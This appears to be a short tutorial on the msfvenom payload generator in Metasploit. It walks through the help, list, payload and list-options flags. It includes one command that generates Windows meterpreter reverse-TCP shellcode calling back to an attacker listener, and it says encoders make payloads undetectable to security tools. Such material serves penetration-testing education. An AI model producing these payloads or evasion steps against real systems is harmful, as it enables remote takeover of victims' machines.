What exactly is the MsfVenom?
Msfvenom is a payload generator that can be run from the command line and is included with the Metasploit architecture. msfpayload and msfencode are used in conjunction with one another to produce it. We are able to generate payloads for any kind of application by utilising msfvenom, including but not limited to Linux, Windows, Android, IOS, BSD, and Cisco.
Not only that, but msfvenom is also capable of generating exploits in a variety of programming languages, including but not limited to Python, C, Java, PHP, and Ruby, among others.
The two most important and useful features of msfvenom are the encoder, which can make payloads undetectable to security systems, and the payload creator, which can create payloads for almost any platform.
Breakthrough in Command and Control
Your first priority should be to become familiar with the help menu instruction, which is denoted by the (-h) prefix. The explanation of how to use each instrument can be found in the “Help” menu. Take a gander at this, “msfvenom -h” was the command that was carried out.
This section will walk you through all of the command line parameters that you can send to the msfvenom. In addition, a quick summary of them. Additionally, we are going to demonstrate some of them to you in this section.
Using this flag will display all of the modules that are available for use in msfvenom. Payloads, encoders, nops, platforms, archs, encrypt, and format are some examples. You can simply list all of the available payloads and then grep the payloads to find the ones that contain the word php if you don’t know which payload you want to use but you do have some information, such as the fact that the server uses php. You will locate the package that you require in this manner.
“msfvenom -l payloads” was the command that was carried out.
I strongly suggest that you give each of the available choices a shot and see what each one has to offer. You can use this as an argument for checking into everything that currently exists, such as payloads, encoders, nops, platforms, archs, encrypts, and formats (all).
“msfvenom -l all” was the command that got executed.
This flag is used to designate a particular payload from the available options. Once you have determined which payload will be most effective against the target system, you can use this indicator to direct the creation of shell code or malicious code towards that particular payload.
The following command was successfully carried out: msfvenom -p windows/meterpreter/reverse tcp LHOST=tun0 LPORT=31337 -f c :-
Don’t worry too much about the other colours for the time being. They are going to appear before us very shortly.
list-options
After the payload has been chosen, you might want to look at additional information regarding the payload to ensure that it is appropriate for the recipient. Simply choose the content, and then make use of this flag. This enables you to gain a better understanding of which parameters are necessary for the payload. I have designated it with a rectangle, just like in the example down below.
“msfvenom -p windows/meterpreter/reverse tcp –list-options” was the command that was carried out.
